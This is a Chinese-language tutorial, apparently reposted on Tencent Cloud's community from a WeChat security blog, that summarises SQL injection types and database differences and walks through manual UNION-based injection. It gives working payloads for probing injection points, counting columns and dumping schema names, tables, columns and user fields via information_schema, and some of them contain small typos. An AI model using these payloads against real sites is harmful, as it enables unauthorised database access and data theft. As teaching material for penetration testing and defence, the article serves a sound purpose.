前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >渗透测试丨SQL注入总结

渗透测试丨SQL注入总结

作者头像
网e渗透安全部
发布2019-12-02 23:25:13
1.2K0
发布2019-12-02 23:25:13
举报
文章被收录于专栏:白安全组

SQL注入原理

当客户端提交的数据未做处理或转意直接带入数据库(My SQL / Sql Server/Access/oracle等数据库 )就造成了SQL注入。

攻击者通过不同结构的sql语句来实现对数据库的任意操作。

SQL注入的分类

按变量类型分:数字型和字符型

按HTTP提交方式分:POST注入,GET注入和Cookie注入

按注入方式分:布尔注入,联合注入,多语句注入,报错注入,延时注入,内联注入

按数据库类型分:

sql : oracle , mysql , mssql , access , sqlite , postgersql

no sql: mongodb , redis

MySQL与MSSQL及ACCESS之间的区别

  1. MySQL5.0以下没有information——schema这个默认数据库
  2. ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释
  3. MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)

判断三种数据库的语句

MySQL:and length(user())>10

ACCESS:and(select count(*)from MSysaccessObjects)>0

MSSQL: and(select count(*)from sysobjects)>0

基本手工注入流程

1.判断注入点

数字型:id=2-1

字符型:' 或 ') 或 ')) 或 '' 或 '') 或 ''))

注释性:--(--空格) 或 --+或/**/或#

2.获取字段数

order by 二分法联合查询字段数,观察页面变化从而确定字段数

order by 1

order by 50

group by 译为分组,注入时也可使用

3.查看显示位尝试使用联合注入

利用and 1=2或and 0及id=-12查看显示数据的位置

替换显示位改成SQL语句,查看信息(当前数据库,版本及用户名)

and 1=2 union select version(),2,3

再查询所有数据库

and 1=2 union select (select group_concat(scherma_name)from information schema.schemata),2,3

查询所有表名

union select (select group_concat(table_name)from information_schema.tables),2,3

查询所有字段名

union select (select group_concat(column_name)from information_schema.columns),2,3

查询字段内容

如:查询test库下user表的id及uname字段,用‘~’区分id和uname以防字符连接到一起

union select (select group_concat(id,uname)from test.users),2,3

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-12-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 白安全组 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • SQL注入原理
  • SQL注入的分类
    • MySQL与MSSQL及ACCESS之间的区别
      • 判断三种数据库的语句
      • 基本手工注入流程
        • 1.判断注入点
          • 2.获取字段数
            • 3.查看显示位尝试使用联合注入
            相关产品与服务
            云数据库 SQL Server
            腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档